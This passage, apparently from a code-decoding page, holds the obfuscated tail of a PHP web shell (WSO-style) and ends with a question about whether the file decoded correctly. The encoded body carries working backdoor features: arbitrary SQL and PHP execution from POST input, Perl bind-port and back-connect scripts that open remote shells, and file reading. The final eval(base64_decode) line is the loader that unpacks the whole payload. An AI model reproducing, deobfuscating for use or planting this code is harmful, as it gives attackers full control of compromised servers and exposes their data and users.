oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdCddKSkgLiInPjwvdGQ+IA0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+IA0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsgDQogICAgJHRtcCA9ICI8NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2IxczUgdjFsMzU9Jyc+IjsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7IA0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsgDQogICAgICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRkYi0+bDRzdERicygpOyANCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7IA0KICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpIHsgDQogICAgICAgICAgICAgICAgbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzwvczVsNWN0Pic7IA0KICAgICAgICB9IA0KICAgICAgICA1bHM1IDVjaDIgJHRtcDsgDQogICAgfTVsczUNCiAgICAgICAgNWNoMiAkdG1wOyANCiAgICA1Y2gyICI8L3RkPiANCiAgDQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgPC90MWJsNT4gDQogICAgICAgIDxzY3I0cHQ+IA0KICAgICAgICAgICAgc19kYj0nIi5AMWRkc2wxc2g1cygkX1BPU1RbJ3NxbF9iMXM1J10pLiInOyANCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsgDQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsgDQogICAgICAgICAgICAgICAgICAgIDRmKGYucDYpIGYucDYudjFsMzU9Jyc7IA0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOyANCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmM25jdDQybiBzdCh0LGwpIHsgDQogICAgICAgICAgICAgICAgZC5zZi5wNi52MWwzNSA9ICdzNWw1Y3QnOyANCiAgICAgICAgICAgICAgICBkLnNmLnBhLnYxbDM1ID0gdDsgDQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsgDQogICAgICAgICAgICAgICAgZC5zZi5zM2JtNHQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gNHMoKSB7IA0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLnNmLjVsNW01bnRzWyd0YmxbXSddLmw1bmd0aDsrKzQpIA0KICAgICAgICAgICAgICAgICAgICBkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIDwvc2NyNHB0PiI7IA0KICAgIDRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsgDQogICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7IA0KICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsnc3FsX2IxczUnXSkpeyANCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICAkdGJsc19yNXMgPSAkZGItPmw0c3RUMWJsNXMoKTsgDQogICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsgDQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7IA0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8bjJicj48NG5wM3QgdHlwNT0nY2g1Y2tiMngnIG4xbTU9J3RibFtdJyB2MWwzNT0nIi4kdjFsMzUuIic+Jm5ic3A7PDEgaHI1Zj0jIDJuY2w0Y2s9XCJzdCgnIi4kdjFsMzUuIicsNilcIj4iLiR2MWwzNS4iPC8xPiIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/JyZuYnNwOyc6IiA8c20xbGw+KHskblsnbiddfSk8L3NtMWxsPiIpIC4gIjwvbjJicj48YnI+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOyANCiAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydwNiddID09ICdzNWw1Y3QnKSB7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOyANCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2OyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnIC4gJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgICAgICRuM20gPSAkZGItPmY1dGNoKCk7IA0KICAgICAgICAgICAgICAgICAgICAkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxzY3I0cHQ+ZC5zZi4ybnMzYm00dD1mM25jdDQybigpe3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICJcIiwgZC5zZi5wby52MWwzNSl9PC9zY3I0cHQ+PHNwMW4+Ii4kX1BPU1RbJ3BhJ10uIjwvc3Axbj4gKHskbjNtWyduJ119IHI1YzJyZHMpIFAxZzUgIyA8NG5wM3QgdHlwNT10NXh0IG4xbTU9J3BvJyB2MWwzNT0iIC4gKCg0bnQpJF9QT1NUWydwbyddKSAuICI+IjsgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXS02KSAuICIpJz4mbHQ7IFByNXY8LzE+IjsgDQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXS0tOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncGEnXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3BvJ10qbzApLicsbzAnOyANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDRmKChAJF9QT1NUWydwNiddID09ICdxMzVyeScpICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1ID0gZjFsczU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7IA0KICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXM1dCgkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDU9dHIzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IGE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9ICRsNG41PT02P2E6NjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRkPjw0Pm4zbGw8LzQ+PC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOyANCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOyANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7IA0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsgDQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIDYgRlJPTSBteXNxbC4zczVyIFdIRVJFIGMybmMxdChgM3M1cmAsICdAJywgYGgyc3RgKSA9IFVTRVIoKSBBTkQgYEY0bDVfcHI0dmAgPSAneSciKTsgDQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsgDQogICAgICAgICAgICAgICAgJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicuaHRtbHNwNWM0MWxjaDFycygkZjRsNVsnZjRsNSddKS4nPC9wcjU+JzsgDQogICAgICAgICAgICB9IA0KICAgIH0gNWxzNSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOyANCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7IA0KICAgIDVjaDIgIjxoNj5ONXR3MnJrIHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+IA0KICANCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JwcCcsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+IA0KICAgIDxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPiANCiAgICBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+IA0KICAgIDwvZjJybT4gDQogICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPiANCiAgICA8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPiANCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4gDQogIA0KICAgIDwvZjJybT48YnI+IjsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsgDQogICAgICAgICAgICAkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7IA0KICAgICAgICAgICAgNGYoJHcpeyANCiAgICAgICAgICAgICAgICBAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJHcpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYjRuZF9wMnJ0X3ApOyANCiAgICAgICAgICAgICQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwYSddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7IA0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOyANCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiMWNrX2Mybm41Y3RfcCk7IA0KICAgICAgICAgICAgJDIzdCA9IHdzMkV4KCJwNXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3BhJ10uIiAiLiRfUE9TVFsncG8nXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOyANCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsgDQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsgDQogICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7IA0KICAgIDRmKCFAJF9QT1NUWydwNiddKSB7IA0KICAgICAgICAkMSA9IDFycjF5KCANCiAgICAgICAgICAgICIzbjFtNSIgPT4gcGhwXzNuMW01KCksIA0KICAgICAgICAgICAgInBocF92NXJzNDJuIiA9PiBwaHB2NXJzNDJuKCksIA0KICAgICAgICAgICAgIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwgDQogICAgICAgICAgICAiczFmNW0yZDUiID0+IEA0bjRfZzV0KCdzMWY1X20yZDUnKSANCiAgICAgICAgKTsgDQogICAgICAgIDVjaDIgczVyNDFsNHo1KCQxKTsgDQogICAgfSA1bHM1IHsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgfSANCn0gDQo0ZiggNW1wdHkoJF9QT1NUWycxJ10pICkgDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKSANCiAgICAgICAgJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47IA0KICAgIDVsczUNCiAgICAgICAgJF9QT1NUWycxJ10gPSAnUzVjSW5mMic7IA0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkgDQogICAgYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7IA0KZjNuY3Q0Mm4gRjV0Y2hVUkwoJDNybCkgeyANCiAgICAgICAgICRjaCA9IGMzcmxfNG40dCgpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICIkY2g1MWQ1ciIpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgNik7IA0KICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZjFsczUpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICQzcmwpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7IA0KICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIG8wKTsgDQogICAgICAgICAkZDF0MSA9IGMzcmxfNXg1YygkY2gpOyANCiAgICAgICAgIDRmKCEkZDF0MSkgeyANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgICB9IA0KICAgICAgICAgcjV0M3JuICRkMXQxOyANCiAgICAgIH0gDQo1eDR0OyANCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')) ?>
Did this file decode correctly?
Original Code
